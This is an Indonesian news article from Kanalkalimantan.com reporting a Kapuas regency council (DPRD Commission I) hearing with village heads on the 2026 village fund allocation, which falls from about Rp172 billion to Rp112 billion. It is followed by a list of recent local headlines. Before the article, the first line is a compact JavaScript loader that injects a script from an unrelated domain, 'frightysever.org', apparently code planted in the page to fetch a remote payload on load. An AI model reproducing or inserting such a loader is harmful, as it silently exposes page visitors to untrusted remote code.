(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD Kapuas

Turun Rp59 Miliar, Komisi I DPRD Kapuas RDP Alokasi Dana Desa 2026


KANALKALIMANTAN.COM, KUALA KAPUAS – Rapat Dengar Pendapat (RDP) dilaksanakan Komisi I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas bersama Asosiasi Pemerintah Desa Seluruh Indonesia (APDESI) Kabupaten Kapuas terkait penyusutan  Alokasi Dana Desa (ADD) 2026, Kamis (12/2/2026).

Rapat dipimpin Ketua Komisi I DPRD Kabupaten Kapuas Sera Sintanola diikuti anggota Komisi I dari Pemerintah Kabupaten Kapuas dihadiri Staf Ahli Bupati Bidang Kemasyarakatan dan SDM, Budi Kurniawan mewakili Sekretaris Daerah.

Hadir Kepala Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Jhon Pita Kadang, Badan Keuangan dan Aset Daerah (BKAD), serta delegasi APDESI Kapuas dipimpin Ketua APDESI Pancar S Nyarang beserta jajaran pengurus desa, serta tamu undangan terkait lainnya.

Baca juga: Sumur Bor CSR Pertamina untuk Warga Syamsudin Noor

Para kepala desa mempersoalkan penurunan Pagu. Mereka menilai pemangkasan berdampak langsung pada program dan kegiatan di tingkat desa.

Data Dinas PMD menunjukkan, pagu ADD 2025 sebesar Rp172.082.223.800, sementara untuk tahun 2026 turun menjadi Rp112.163.536.000. Ada selisih penurunan sebesar Rp59.918.687.800.

Pemerintah daerah menyebut penyesuaian transfer pusat menjadi faktor utama. Kebijakan fiskal nasional berubah, daerah menyesuaikan.

Baca juga: Olahraga Senam Perkuat Kebersamaan Antarpegawai

Meski turun, alokasi dana desa 2026 tetap mengacu regulasi. Prioritas mencakup penghasilan tetap dan tunjangan kepala desa serta perangkat, tunjangan BPD, insentif ketua RT/RW.

Selain itu, dialokasikan melalui skema dasar, kinerja, dan formula dengan variabel jumlah penduduk, kemiskinan, luas wilayah, dan indeks kesulitan geografis.

Rapat berlangsung dialogis. Legislatif dan eksekutif berjanji mengawal kebijakan agar tetap berpihak pada desa, seraya menjaga disiplin anggaran sesuai kemampuan keuangan daerah. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Risa

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

4 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

5 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

5 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

6 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

7 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

12 jam ago

This website uses cookies.